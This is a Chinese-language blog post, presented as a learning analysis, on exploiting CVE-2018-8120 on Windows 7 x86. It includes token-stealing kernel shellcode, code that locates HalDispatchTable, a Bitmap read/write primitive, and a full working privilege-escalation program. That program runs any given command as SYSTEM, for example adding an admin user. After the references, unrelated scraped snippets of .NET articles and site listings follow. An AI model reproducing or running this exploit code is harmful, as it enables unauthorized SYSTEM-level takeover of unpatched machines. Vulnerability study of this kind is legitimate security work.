      +0x010 Process          : Ptr32 _KPROCESS//指向當前進程EPROCESS結構
      +0x014 KernelApcInProgress : UChar
      +0x015 KernelApcPending : UChar
      +0x016 UserApcPending   : UChar
   +0x040 ApcStateFill     : [23] UChar
   +0x057 Priority         : Char
   +0x058 NextProcessor    : Uint4B

​ 額,你可能要問_KTHREAD.ApcState.Process不是指向的是 _KPROCESS的指針嗎?難道EPROCESS和KPROCESS一樣? 肯定不一樣啊,但是你看看 EPROCESS的組成就清楚了。

lkd> dt _EPROCESS
ntdll!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   +0x098 ProcessLock      : _EX_PUSH_LOCK
   +0x0a0 CreateTime       : _LARGE_INTEGER
   +0x0a8 ExitTime         : _LARGE_INTEGER
   +0x0b0 RundownProtect   : _EX_RUNDOWN_REF
   +0x0b4 UniqueProcessId  : Ptr32 Void
   +0x0b8 ActiveProcessLinks : _LIST_ENTRY
   +0x0c0 ProcessQuotaUsage : [2] Uint4B
   +0x0c8 ProcessQuotaPeak : [2] Uint4B
   +0x0d0 CommitCharge     : Uint4B
   +0x0d4 QuotaBlock       : Ptr32 _EPROCESS_Q

​ 註意到沒,EPROCESS的第一個成員不就是_KPROCESS嗎?所以_KTHREAD.ApcState.Process其實指向的是EPROCESS,取它地址的值就是_KPROCESS的指針。

​ 所以我們獲取當前進程EPROCESS的彙編代碼可以寫成:

mov edx, 0x124;
mov eax, fs:[edx];// Get nt!_KPCR.PcrbData.CurrentThread
mov edx, 0x50;
mov eax, [eax + edx];// Get nt!_KTHREAD.ApcState.Process
mov ecx, eax;// Copy current _EPROCESS structure

​ 你可能又要問了,你怎麼曉得該這樣做?答案是:你可以去反彙編一下這個函數就曉得了:

lkd>  u nt!PsGetCurrentProcess
nt!PsGetCurrentProcess:
83ecdb60 64a124010000    mov     eax,dword ptr fs:[00000124h]
83ecdb66 8b4050          mov     eax,dword ptr [eax+50h]
83ecdb69 c3              ret

調用這個函數可以得到當前進程的EPROCESS結構。

​ 好了,現在我們已經獲得了我們自身進程的EPROCESS結構了,但是我們第一步需要做的是 獲得System進程的EPROCESS啊。獲得自己的EPROCESS有啥子用呢?不用急,請看EPROCESS的ActiveProcessLinks成員,它是一個_LIST_ENTRY結構。讓我們展開看看

lkd> dt _EPROCESS -r1
ntdll!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   .....
   +0x0b8 ActiveProcessLinks : _LIST_ENTRY
      +0x000 Flink        : Ptr32 _LIST_ENTRY //指向前一個進程的EPROCESS.ActiveProcessLinks.Flink
      +0x004 Blink        : Ptr32 _LIST_ENTRY //指向後一個進程的EPROCESS.ActiveProcessLinks.Flink
   +0x0c0 ProcessQuotaUsage : [2] Uint4B

​ 在windows系統中,每創建一個進程系統內核就會為其創建一個EPROCESS,然後使EPROCESS.ActiveProcessLinks.Flink=上一個創建的進程的EPROCESS.ActiveProcessLinks.Flink的地址,而上一個創建進程的EPROCESS.ActiveProcessLinks.Blink=新創建進程的EPROCESS.ActiveProcessLinks.Flink的地址,構成了一個雙向鏈表。所以找到一個就可以通過Flink和Blink遍歷整個進程EPROCESS了,又由於System進程是最先創建的進程之一。所以它必然在當前進程(我們編寫的這個程式進程)之前,所以就一直迴圈訪問Flink就行了。又因為EPROCESS的UniqueProcessId成員指向的是該EPROCESS所屬進程的PID。所以我們就可以迴圈遍歷EPROCESS,判斷其PID是否為4.若是就找到了System進程的EPROCESS結構了。

​ 既然找到了System進程的EPRCESS了,那麼第二步:獲取它的Token值還不是輕而易舉。下麵貼出完整shellcode

__declspec(noinline) int shellcode()
{
    __asm {
        pushad;// save registers state
        mov edx, 0x124;
        mov eax, fs:[edx];// Get nt!_KPCR.PcrbData.CurrentThread
        mov edx, 0x50;
        mov eax, [eax + edx];// Get nt!_KTHREAD.ApcState.Process
        mov ecx, eax;// Copy current _EPROCESS structure
        mov esi, 0xf8;// Token在EPROCESS的偏移為0xf8
        mov edx, 4;// WIN 7 SP1 SYSTEM Process PID = 0x4
        mov edi, 0xb8;//Flink在EPROCESS的偏移為0xb8
        mov ebx, 0xb4;//UniqueProcessId在EPROCESS的偏移為0xb4
    SearchSystemPID:
        mov eax, [eax + edi];// Get nt!_EPROCESS.ActiveProcessLinks.Flink
        sub eax, edi;// 執行之後,eax 為EPROCESS的地址
        cmp[eax + ebx], edx;// Get nt!_EPROCESS.UniqueProcessId
        jne SearchSystemPID;
        mov edx, [eax + esi];// Get SYSTEM process nt!_EPROCESS.Token
        mov[ecx + esi], edx;// Copy nt!_EPROCESS.Token of SYSTEM to current process
        
        popad;// restore registers state
        xor eax, eax;// Set NTSTATUS SUCCEESS

    }
}

6.3、找到HalDispatchTable的地址

​ 因為我們要使我們的shellcode在R0執行,通過在2.2.2中分析的,我們需要得到nt!HalDispatchTable+0x4的值。那麼我們只需要得到HalDispatchTable地址,然後加4就行了。

​ 要在R3得到內核中得到HalDispatchTable的位置,我們可以使用'NtQuerySystemInformation'函數。此函數可幫助用戶進程查詢內核以獲取有關OS和硬體狀態的信息。 這個函數沒有導入庫,我們必須使用'GetModuleHandle'和'GetProcAddress'在'ntdll.dll'的記憶體範圍內動態載入'NtQuerySystemInformation'函數。

​ 代碼如下:


#include <stdio.h>
#include <Windows.h>
#define MAXIMUM_FILENAME_LENGTH 255 
typedef struct SYSTEM_MODULE {
    ULONG                Reserved1;
    ULONG                Reserved2;
    PVOID                ImageBaseAddress;
    ULONG                ImageSize;
    ULONG                Flags;
    WORD                 Id;
    WORD                 Rank;
    WORD                 w018;
    WORD                 NameOffset;
    BYTE                 Name[MAXIMUM_FILENAME_LENGTH];
}SYSTEM_MODULE, *PSYSTEM_MODULE;
typedef struct SYSTEM_MODULE_INFORMATION {
    ULONG                ModulesCount;
    SYSTEM_MODULE        Modules[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
typedef enum _SYSTEM_INFORMATION_CLASS {
    SystemModuleInformation = 11,
} SYSTEM_INFORMATION_CLASS;
typedef NTSTATUS(WINAPI *PNtQuerySystemInformation)(
    __in SYSTEM_INFORMATION_CLASS SystemInformationClass,
    __inout PVOID SystemInformation,
    __in ULONG SystemInformationLength,
    __out_opt PULONG ReturnLength
    );
int main()
{
    ULONG len = 0;
    PSYSTEM_MODULE_INFORMATION pModuleInfo;
    HMODULE ntdll = GetModuleHandle("ntdll");
    PNtQuerySystemInformation query = (PNtQuerySystemInformation)GetProcAddress(ntdll, "NtQuerySystemInformation");
    //先獲取函數返回 "模塊信息" 數據得大小存在len中
    query(SystemModuleInformation, NULL, 0, &len);
    //分配len長度的緩衝區
    pModuleInfo = (PSYSTEM_MODULE_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len);
    //這下才真正來獲取"模塊信息"存到 剛剛申請的緩存中
    query(SystemModuleInformation, pModuleInfo, len, &len);
    //"模塊信息"的第一項必為nt內核文件,獲取它在內核中的基址
    PVOID kernelImageBase = pModuleInfo->Modules[0].ImageBaseAddress;
    //獲取nt內核文件名
    PCHAR kernelImage = (PCHAR)pModuleInfo->Modules[0].Name;
    kernelImage = strrchr(kernelImage, '\\') + 1;
    wprintf(L"[+] Kernel Image name %S\n", kernelImage);
    wprintf(L"[+] Kernel Image Base %p\n", kernelImageBase);
    //獲取nt內核文件在用戶空間下中基址
    HMODULE KernelHandle = LoadLibraryA(kernelImage);
    wprintf(L"[+] Kernel Handle %p\n", KernelHandle);
    //獲取"HalDispatchTable"在用戶空間中的地址
    PVOID HALUserLand = (PVOID)GetProcAddress(KernelHandle, "HalDispatchTable");
    wprintf(L"[+] HalDispatchTable userland %p\n", HALUserLand);
    PVOID HalDispatchTable = (PVOID)((ULONG)HALUserLand - (ULONG)KernelHandle + (ULONG)kernelImageBase);
    wprintf(L"[~] HalDispatchTable Kernel %p\n", HalDispatchTable);
    system("pause");
    return 0;
}
  • 為啥要獲取nt內核文件的名字呢?

    答:因為NT內核文件的名字會因為單處理器和多處理器以及不同位數的操作系統版本以及是否支持PAE(Physical Address Extension)而不同。所以需要編程獲取。

  • 為啥會是HalDispatchTable = HALUserLand - KernelHandle + kernelImageBase?

    答:HalDispatchTable在內核中真正的地址需要使用載入模塊的基地址+HalDispatchTable在該模塊中的偏移來獲取的。我們通過NtQuerySystemInformation獲取了nt模塊的基址kernelimageBase。通過計算用戶空間中HalDispatchTable的地址-用戶空間中nt模塊的地址可以獲得偏移。

6.4、構造兩個Bitmap對象

​ 雖然我們已經得到了nt!HalDispatchTable+0x4的值,我們可以先把它指向記憶體的值先保存起來,然後再改它指向記憶體的值為我們那段shellcode的值,然後再在R3調用NtQueryIntervalProfile函數就可以使我們的shellcode運行在R0了(2.2.2節),成功實現提權,然後再把保存起來的那個值再改回去就行了。

​ 但是,我們如何在R3來獲取nt!HalDispatchTable+0x4所指向記憶體的值,又如何改nt!HalDispatchTable+0x4所指向記憶體的值呢?在 5節中我介紹瞭如何利用 Bitmap GDI函數實現內核任意地址讀/寫 。假如我們可以修改pvScan0 的值(下麵的6.5將會講解如何修改),我們構造兩個Bitmap對象:gManger和gWorker。

具體步驟:

  1. 我們利用CVE-2018-8120將Manger.pScan的值設置為gWorker.pScan的地址
  2. gManger利用SetBitmapBits將gWorker.pScan的值改為HalDisptchTable+4
  3. gWorker利用GetBitmapBits獲取HalDispatchTable+4所指記憶體的值獲取得,假設為oriaddr。
  4. gWorker利用SetBitmapBits將HalDispatchTable+4所指記憶體的值設置為shellcode的地址
  5. 調用NtQuerySystemInformation執行shellcode
  6. gWorker利用SetBitmapBits將HalDispatchTable+4所指記憶體的值設置為oriaddr。進行還原。

下麵介紹如何利用SetImeInfoEx(CVE-2018-8120)來改gManger的pvScan0 的值。

6.5、如何使SetImeInfoEx執行到qmemcpy

​ 先貼出SetImeInfoEx的代碼吧:

0 signed int __stdcall SetImeInfoEx(tagWINDOWSTATION* a1, tagIMEINFOEX *a2)
1 {
2  signed int result; // eax
3  tagKL *v3; // eax
4  tagIMEINFOEX *v4; // eax
5
6  result = a1;
7  if ( a1 )
8  {
9    v3 = a1->spkList; 
10    while ( v3->hkl != a2->hkl )
11   {
12      v3 = v3->pklNext;
13      if ( v3 == a1->spkList )
14        return 0;
15    }
16    v4 = v3->piiex;
17    if ( !v4 )
18      return 0;
19    if ( !v4->fLoadFlag)
20      qmemcpy(v4, a2, 0x15Cu); //sizeof(tagIMEINFOEX)=0x15c
21    result = 1;
22  }
23  return result;
24}

​ 現在我們有的條件是,a1->spkList為0,而我們已經在0處申請了R3可讀可寫的記憶體,v3和v4都是 我們可以控制的,而a2是NtUserSetImeInfoEx(tagIMEINFOEX imeinfo) ,嘿嘿又是我們可以控制的。

​ 那麼首先我們要跳過while迴圈,那就讓v3->hkl 等於 a2->hkl,然後需要指定v3->piiex等於gManger.pvScan0 的地址,也就是指定qmemcpy目的地址。

​ 然後讓a2指向記憶體的頭4個位元組的值為gWorker.pvScan0的地址。那麼執行qmemcpy之後,就可以把gManger.pvScan0的值改為gWorker.pvScan0的地址了。

​ 還要註意的是,qmemcpy拷貝了0x15c個位元組,勢必會影響gManger.pvScan0 之後的記憶體,後面調用Gdi32 的 GetBitmapBits/SetBitmapBits 這兩個函數就會不成功,有幾個值是我們必須要在傳給NtUserSetImeInfoEx的參數中要構造的imeinfo中填上的,這幾個值我抄的網上的文章的。

下麵給出構造代碼:

PVOID mpv = getpvscan0(gManger);//獲得gManger.pvScan0的地址
PVOID wpv = getpvscan0(gWorker);//獲得gWorker.pvScan0的地址

P_tagKL pkl = NULL;
pkl->hkl = (HKL__ *)wpv;
pkl->piiex = (tagIMEINFOEX *)((char*)mpv - sizeof(PVOID));//這裡-4,也就是說,下麵的p[1]也要為wpv
    
char ime[0x200];
RtlSecureZeroMemory(&ime, 0x200);
    
PVOID *p = (PVOID*)&ime;
p[0] = (PVOID)wpv;
p[1] = (PVOID)wpv;

DWORD *pp = (DWORD*)&p[2];
pp[0] = 0x180;
pp[1] = 0xabcd;
pp[2] = 6;
pp[3] = 0x10000;
pp[5] = 0x4800200;
    
NtUserSetImeInfoEx((PVOID)&ime);//觸發漏洞

6.6、 完整利用代碼:

//windows 7 sp1 x86 no patch

#include<Windows.h>
#include<stdio.h>

#define MAXIMUM_FILENAME_LENGTH 255 
typedef struct SYSTEM_MODULE {
    ULONG                Reserved1;
    ULONG                Reserved2;
    PVOID                ImageBaseAddress;
    ULONG                ImageSize;
    ULONG                Flags;
    WORD                 Id;
    WORD                 Rank;
    WORD                 w018;
    WORD                 NameOffset;
    BYTE                 Name[MAXIMUM_FILENAME_LENGTH];
}SYSTEM_MODULE, *PSYSTEM_MODULE;

typedef struct SYSTEM_MODULE_INFORMATION {
    ULONG                ModulesCount;
    SYSTEM_MODULE        Modules[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
typedef enum _SYSTEM_INFORMATION_CLASS {
    SystemModuleInformation = 11,
} SYSTEM_INFORMATION_CLASS;

typedef NTSTATUS(WINAPI *PNtQuerySystemInformation)(
    __in SYSTEM_INFORMATION_CLASS SystemInformationClass,
    __inout PVOID SystemInformation,
    __in ULONG SystemInformationLength,
    __out_opt PULONG ReturnLength
    );

struct tagIMEINFO32
{
    unsigned int dwPrivateDataSize;
    unsigned int fdwProperty;
    unsigned int fdwConversionCaps;
    unsigned int fdwSentenceCaps;
    unsigned int fdwUICaps;
    unsigned int fdwSCSCaps;
    unsigned int fdwSelectCaps;
};

typedef struct tagIMEINFOEX
{
    HKL__ *hkl;
    tagIMEINFO32 ImeInfo;
    wchar_t wszUIClass[16];
    unsigned int fdwInitConvMode;
    int fInitOpen;
    int fLoadFlag;
    unsigned int dwProdVersion;
    unsigned int dwImeWinVersion;
    wchar_t wszImeDescription[50];
    wchar_t wszImeFile[80];
    __int32 fSysWow64Only : 1;
    __int32 fCUASLayer : 1;
}IMEINFOEX, *PIMEINFOEX;

struct GDICELL {
    PVOID pKernelAddress;
    USHORT wProcessId;
    USHORT wCount;
    USHORT wUpper;
    USHORT wType;
    LPVOID pUserAddress;
}; //sizeof=0x10

struct _HEAD
{
    void *h;
    unsigned int cLockObj;
};

struct tagKBDFILE
{
    _HEAD head;
    tagKBDFILE *pkfNext;
    void *hBase;
    void *pKbdTbl;
    unsigned int Size;
    void *pKbdNlsTbl;
    wchar_t awchDllName[32];
};

typedef struct _tagKL
{
    _HEAD head;
    _tagKL *pklNext;
    _tagKL *pklPrev;
    unsigned int dwKL_Flags;
    HKL__ *hkl;
    tagKBDFILE *spkf;
    tagKBDFILE *spkfPrimary;
    unsigned int dwFontSigs;
    unsigned int iBaseCharset;
    unsigned __int16 CodePage;
    wchar_t wchDiacritic;
    tagIMEINFOEX *piiex;
    unsigned int uNumTbl;
    tagKBDFILE **pspkfExtra;
    unsigned int dwLastKbdType;
    unsigned int dwLastKbdSubType;
    unsigned int dwKLID;
}tagKL, *P_tagKL;

typedef BOOL(WINAPI *LPFN_GLPI)(
    PSYSTEM_LOGICAL_PROCESSOR_INFORMATION,
    PDWORD);

typedef NTSTATUS(WINAPI *NtQueryIntervalProfile_t)(IN ULONG   ProfileSource,
    OUT PULONG Interval);

NtQueryIntervalProfile_t NtQueryIntervalProfile;

typedef
NTSYSAPI
NTSTATUS
(NTAPI *_NtAllocateVirtualMemory)(
    IN HANDLE               ProcessHandle,
    IN OUT PVOID            *BaseAddress,
    IN ULONG                ZeroBits,
    IN OUT PULONG           RegionSize,
    IN ULONG                AllocationType,
    IN ULONG                Protect);

__declspec(naked) void NtUserSetImeInfoEx(PVOID imeinfo)
{
    _asm
    {
        mov esi, imeinfo;
        mov eax, 0x1226;
        mov edx, 0x7FFE0300;
        call dword ptr[edx];
        ret 4;
    }
}

PVOID getHalDispatchTableAddress()
{
    ULONG len = 0;
    PSYSTEM_MODULE_INFORMATION pModuleInfo;
    HMODULE ntdll = GetModuleHandle(L"ntdll");
    PNtQuerySystemInformation query = (PNtQuerySystemInformation)GetProcAddress(ntdll, "NtQuerySystemInformation");
    if (query == NULL) {
        printf("[!] GetModuleHandle Failed\n");
        return 0;
    }
    query(SystemModuleInformation, NULL, 0, &len);
    pModuleInfo = (PSYSTEM_MODULE_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len);
    if (pModuleInfo == NULL) {
        printf("[!] Failed to allocate memory\n");
        return 0;
    }
    query(SystemModuleInformation, pModuleInfo, len, &len);
    if (!len) {
        printf("[!] Failed to retrieve system module information\n");
        return 0;
    }
    PVOID kernelImageBase = pModuleInfo->Modules[0].ImageBaseAddress;
    PCHAR kernelImage = (PCHAR)pModuleInfo->Modules[0].Name;
    kernelImage = strrchr(kernelImage, '\\') + 1;
    HMODULE KernelHandle = LoadLibraryA(kernelImage);
    PVOID HALUserLand = (PVOID)GetProcAddress(KernelHandle, "HalDispatchTable");
    PVOID HalDispatchTable = (PVOID)((ULONG)HALUserLand - (ULONG)KernelHandle + (ULONG)kernelImageBase);
    return HalDispatchTable;
}

ULONG getpeb()
{
    return __readfsdword(0x30);
}

ULONG getgdi()
{
    return *(ULONG *)(getpeb() + 0x94);
}

PVOID getpvscan0(HANDLE h)
{
    ULONG p = getgdi() + LOWORD(h) * sizeof(GDICELL); //get bimap kernel object address
    GDICELL *c = (GDICELL*)p;
    return (char*)c->pKernelAddress + 0x10 + 0x20;
}

__declspec(noinline) int shellcode()
{
    __asm {
        pushad;// save registers state
        mov edx, 0x124;
        mov eax, fs:[edx];// Get nt!_KPCR.PcrbData.CurrentThread
        mov edx, 0x50;
        mov eax, [eax + edx];// Get nt!_KTHREAD.ApcState.Process
        mov ecx, eax;// Copy current _EPROCESS structure
        mov esi, 0xf8;
        mov edx, 4;// WIN 7 SP1 SYSTEM Process PID = 0x4
        mov edi, 0xb8;
        mov ebx, 0xb4;
    SearchSystemPID:
        mov eax, [eax + edi];// Get nt!_EPROCESS.ActiveProcessLinks.Flink
        sub eax, edi;
        cmp[eax + ebx], edx;// Get nt!_EPROCESS.UniqueProcessId
        jne SearchSystemPID;

        mov edx, [eax + esi];// Get SYSTEM process nt!_EPROCESS.Token
        mov[ecx + esi], edx;// Copy nt!_EPROCESS.Token of SYSTEM to current process
        popad;// restore registers state

        xor eax, eax;// Set NTSTATUS SUCCEESS

    }
}

int main()
{
    int argc = 0;
    wchar_t **argv = CommandLineToArgvW(GetCommandLineW(), &argc);
    if (argc != 2)
    {
        puts("Usage: exp.exe command\nExample: exp.exe \"net user admin admin /ad\"");
        goto end;
    }
    PVOID overwrite_address = getHalDispatchTableAddress();  // HalDispatchTable
    if (!overwrite_address)
    {
        goto end;
    }
    int overwrite_offset = 0x4;     // QueryIntervalProfile 
    
    HMODULE hntdll = GetModuleHandle(L"ntdll");
    _NtAllocateVirtualMemory NtAllocateVirtualMemory = (_NtAllocateVirtualMemory)GetProcAddress(hntdll, "NtAllocateVirtualMemory");
    if (!NtAllocateVirtualMemory)
    {
        printf("[-] Fail to resolve NtAllocateVirtualMemory(0x%X)\n", GetLastError());
        goto end;
    }
    PVOID addr = (PVOID)0x100;
    DWORD size = 0x1000;
    if (NtAllocateVirtualMemory(GetCurrentProcess(), &addr, 0, &size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE))
    {
        puts("[-] Fail to alloc null page!");
        goto end;
    }

    HWINSTA hSta = CreateWindowStation(0, 0, READ_CONTROL, 0);
    if (!hSta)
    {
        printf("[-] CreateWindowStationW fail(0x%X)\n", GetLastError());
        goto end;
    }
    if (!SetProcessWindowStation(hSta))
    {
        printf("[-] SetProcessWindowStation fail(0x%X)\n", GetLastError());
        goto end;
    }
    

    unsigned int bbuf[0x60] = { 0x90 };
    HANDLE gManger = CreateBitmap(0x60, 1, 1, 32, bbuf);
    HANDLE gWorker = CreateBitmap(0x60, 1, 1, 32, bbuf);

    PVOID mpv = getpvscan0(gManger);
    PVOID wpv = getpvscan0(gWorker);
    printf("[+] Get manager at %lx,worker at %lx\n", mpv, wpv);
    P_tagKL pkl = NULL;
    pkl->hkl = (HKL__ *)wpv;
    pkl->piiex = (tagIMEINFOEX *)((char*)mpv - sizeof(PVOID));
    
    char ime[0x200];
    RtlSecureZeroMemory(&ime, 0x200);
    
    PVOID *p = (PVOID*)&ime;
    p[0] = (PVOID)wpv;
    p[1] = (PVOID)wpv;

    DWORD *pp = (DWORD*)&p[2];
    pp[0] = 0x180;
    pp[1] = 0xabcd;
    pp[2] = 6;
    pp[3] = 0x10000;
    pp[5] = 0x4800200;
    puts("[+] Triggering vulnerability...");
    NtUserSetImeInfoEx((PVOID)&ime);

    PVOID sc = &shellcode;
    PVOID oaddr = ((char*)overwrite_address + overwrite_offset);

    PVOID pOrg = 0;
    printf("[+] Overwriting...%lx\n", oaddr);

    SetBitmapBits((HBITMAP)gManger, sizeof(PVOID), &oaddr);
    GetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &pOrg);
    SetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &sc);

    NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(hntdll, "NtQueryIntervalProfile");

    if (!NtQueryIntervalProfile) {
        printf("[-] Fail to resolve NtQueryIntervalProfile(0x%X)\n", GetLastError());
        goto end;
    }
    
    ULONG Interval = 0;
    puts("[+] Elevating privilege...");
    NtQueryIntervalProfile(0x1337, &Interval);
    puts("[+] Cleaning up...");
    SetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &pOrg);


    SECURITY_ATTRIBUTES     sa;
    HANDLE                  hRead, hWrite;
    byte                    buf[40960] = { 0 };
    STARTUPINFOW            si;
    PROCESS_INFORMATION     pi;
    DWORD                   bytesRead;
    RtlSecureZeroMemory(&si, sizeof(si));
    RtlSecureZeroMemory(&pi, sizeof(pi));
    RtlSecureZeroMemory(&sa, sizeof(sa));
    int br = 0;
    sa.nLength = sizeof(SECURITY_ATTRIBUTES);
    sa.lpSecurityDescriptor = NULL;
    sa.bInheritHandle = TRUE;
    if (!CreatePipe(&hRead, &hWrite, &sa, 0))
    {
        fflush(stdout);
        fflush(stderr);
        ExitProcess(5);
    }
    
    si.cb = sizeof(STARTUPINFO);
    GetStartupInfoW(&si);
    si.hStdError = hWrite;
    si.hStdOutput = hWrite;
    si.wShowWindow = SW_HIDE;
    si.lpDesktop = L"WinSta0\\Default";
    si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    wchar_t cmd[4096] = { 0 };
    lstrcpyW(cmd, argv[1]);
    if (!CreateProcessW(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi))
    {
        fflush(stdout);
        fflush(stderr);
        CloseHandle(hWrite);
        CloseHandle(hRead);
        wprintf(L"[-] CreateProcessW failed![%p]\n", GetLastError());
        ExitProcess(6);
    }
    CloseHandle(hWrite);
    printf("[+] Process created with pid %d!\n", pi.dwProcessId);
    while (1)
    {
        if (!ReadFile(hRead, buf + br, 4000, &bytesRead, NULL))
            break;
        br += bytesRead;
    }
    puts((char*)buf);
    CloseHandle(hRead);
    CloseHandle(pi.hProcess);
end:
    fflush(stdout);
    fflush(stderr);
    fflush(stdout);
    ExitProcess(0);
    return 0;
}

​ 附上運行截圖:

​ 至此,整個分析完畢,這是我第一次分析CVE,因為是才接觸,所以肯定有很多不懂,於是我就把這些不懂詳細的寫了出來。感覺自己收穫挺多的。整個分析包括提權利用代碼都是看的網上前輩門的分析文章,這篇文章只是我學習過程中分析的。

7、參考文獻

[1]: https://github.com/unamer/CVE-2018-8120/blob/master/CVE-2018-8120/Source.cpp   "CVE利用代碼"
[2]: http://www.freebuf.com/column/173797.html  "CVE-2018-8120分析(很詳細)"
[3]: http://www.freebuf.com/column/174182.html  "CVE-2018-8120分析(詳細)"
[4]: http://blog.nsfocus.net/null-pointer-vulnerability-defense/    "空指針利用詳解"
[5]: https://xiaodaozhi.com/exploit/42.html "內含BITMAP泄露詳細分析"
[6]: https://blog.csdn.net/baggiowangyu/article/details/41802229    "使用windbg查看SSDT,SSDTShadow"
[7]: https://osandamalith.com/2017/06/14/windows-kernel-exploitation-arbitrary-overwrite/   "內含尋找HalDispatchTable的方法"
[8]: http://www.cnblogs.com/findumars/p/5812173.html    "NtQuerySystemInformation的使用"
[9]: https://blog.csdn.net/whatday/article/details/16118703 "ring0下的 fs:[124]"
[10]: https://www.cnblogs.com/kuangke/p/5761586.html    "Shadow SSDT詳解"
[11]: 神書《軟體調試》-張銀奎
[12]: 《Windows核心編程第五版》

您的分享是我們最大的動力!

-Advertisement-
Play Games
更多相關文章
  • 寫博客原因:添加了區域(用作後臺)後,報錯: An unhandled exception occurred while processing the request.AmbiguousActionException: Multiple actions matched. The following ...
  • 2018-08-28 IIS配置文件上傳大小限制 問題:上傳文件過大導致上傳不了,直接在webconfig里做以下配置會導致程式出錯,這個需要在IIS里配置 步驟: 1、在iis里點開配置編輯器 2、在system.web/httpRuntime 節點下找到以下配置項,設置文件大小。(1M = 10 ...
  • JQuery ajax支持get方式的跨域,採用了jsonp來完成。完成跨域請求的有兩種方式實現。一種是使用Jquery ajax最底層的Api實現跨域的請求,而另一種則是JQuery ajax的高級封裝。 方式1:使用Jquery ajax方式。 1 $.ajax({ 2 url:'http:// ...
  • 前沿: 一般情況下,在我們做訪問許可權管理的時候,會把用戶的正確登錄後的基本信息保存在Session中,以後用戶每次請求頁面或介面數據的時候,拿到 Session中存儲的用戶基本信息,查看比較他有沒有登錄和能否訪問當前頁面。 Session的原理,也就是在伺服器端生成一個SessionID對應了存儲的 ...
  • 0.使用背景 因為現在的項目都是基於 .NET Core 的,但是某些需要調用第三方的 WebService 服務,故有了此文章。其基本思路是通過微軟提供的 Svcutil 工具生成代理類,然後通過 System.ServiceModel 來調用代理類所提供的對象與方法。 1.配置準備 1.1 新建 ...
  • 1. 批量插入 public async Task CreateBusinessItemAsync(IEnumerable<BusinessItemsEntity> businessItemsEntities) { var bizid = businessItemsEntities.First(). ...
  • 1 在主視窗中實例化子視窗 在主視窗中實例化子視窗,而不是在按鈕中實例化子視窗對象。 2 通過按鈕來顯示主視窗 在按鈕中需要實現的是視窗的顯示 3 關閉子視窗而不釋放子視窗對象的方法 4 在父視窗關閉時銷毀子視窗對象 由於需要在父視窗關閉是銷毀子視窗對象,因此,在父視窗的關閉動作FormClosed ...
  • 1 namespace RemoveTheSame 2 { 3 class Program 4 { 5 static void Main(string[] args) 6 { 7 List list = new List() 8 { 9 new Use... ...
一周排行
    -Advertisement-
    Play Games
  • 移動開發(一):使用.NET MAUI開發第一個安卓APP 對於工作多年的C#程式員來說,近來想嘗試開發一款安卓APP,考慮了很久最終選擇使用.NET MAUI這個微軟官方的框架來嘗試體驗開發安卓APP,畢竟是使用Visual Studio開發工具,使用起來也比較的順手,結合微軟官方的教程進行了安卓 ...
  • 前言 QuestPDF 是一個開源 .NET 庫,用於生成 PDF 文檔。使用了C# Fluent API方式可簡化開發、減少錯誤並提高工作效率。利用它可以輕鬆生成 PDF 報告、發票、導出文件等。 項目介紹 QuestPDF 是一個革命性的開源 .NET 庫,它徹底改變了我們生成 PDF 文檔的方 ...
  • 項目地址 項目後端地址: https://github.com/ZyPLJ/ZYTteeHole 項目前端頁面地址: ZyPLJ/TreeHoleVue (github.com) https://github.com/ZyPLJ/TreeHoleVue 目前項目測試訪問地址: http://tree ...
  • 話不多說,直接開乾 一.下載 1.官方鏈接下載: https://www.microsoft.com/zh-cn/sql-server/sql-server-downloads 2.在下載目錄中找到下麵這個小的安裝包 SQL2022-SSEI-Dev.exe,運行開始下載SQL server; 二. ...
  • 前言 隨著物聯網(IoT)技術的迅猛發展,MQTT(消息隊列遙測傳輸)協議憑藉其輕量級和高效性,已成為眾多物聯網應用的首選通信標準。 MQTTnet 作為一個高性能的 .NET 開源庫,為 .NET 平臺上的 MQTT 客戶端與伺服器開發提供了強大的支持。 本文將全面介紹 MQTTnet 的核心功能 ...
  • Serilog支持多種接收器用於日誌存儲,增強器用於添加屬性,LogContext管理動態屬性,支持多種輸出格式包括純文本、JSON及ExpressionTemplate。還提供了自定義格式化選項,適用於不同需求。 ...
  • 目錄簡介獲取 HTML 文檔解析 HTML 文檔測試參考文章 簡介 動態內容網站使用 JavaScript 腳本動態檢索和渲染數據,爬取信息時需要模擬瀏覽器行為,否則獲取到的源碼基本是空的。 本文使用的爬取步驟如下: 使用 Selenium 獲取渲染後的 HTML 文檔 使用 HtmlAgility ...
  • 1.前言 什麼是熱更新 游戲或者軟體更新時,無需重新下載客戶端進行安裝,而是在應用程式啟動的情況下,在內部進行資源或者代碼更新 Unity目前常用熱更新解決方案 HybridCLR,Xlua,ILRuntime等 Unity目前常用資源管理解決方案 AssetBundles,Addressable, ...
  • 本文章主要是在C# ASP.NET Core Web API框架實現向手機發送驗證碼簡訊功能。這裡我選擇是一個互億無線簡訊驗證碼平臺,其實像阿裡雲,騰訊雲上面也可以。 首先我們先去 互億無線 https://www.ihuyi.com/api/sms.html 去註冊一個賬號 註冊完成賬號後,它會送 ...
  • 通過以下方式可以高效,並保證數據同步的可靠性 1.API設計 使用RESTful設計,確保API端點明確,並使用適當的HTTP方法(如POST用於創建,PUT用於更新)。 設計清晰的請求和響應模型,以確保客戶端能夠理解預期格式。 2.數據驗證 在伺服器端進行嚴格的數據驗證,確保接收到的數據符合預期格 ...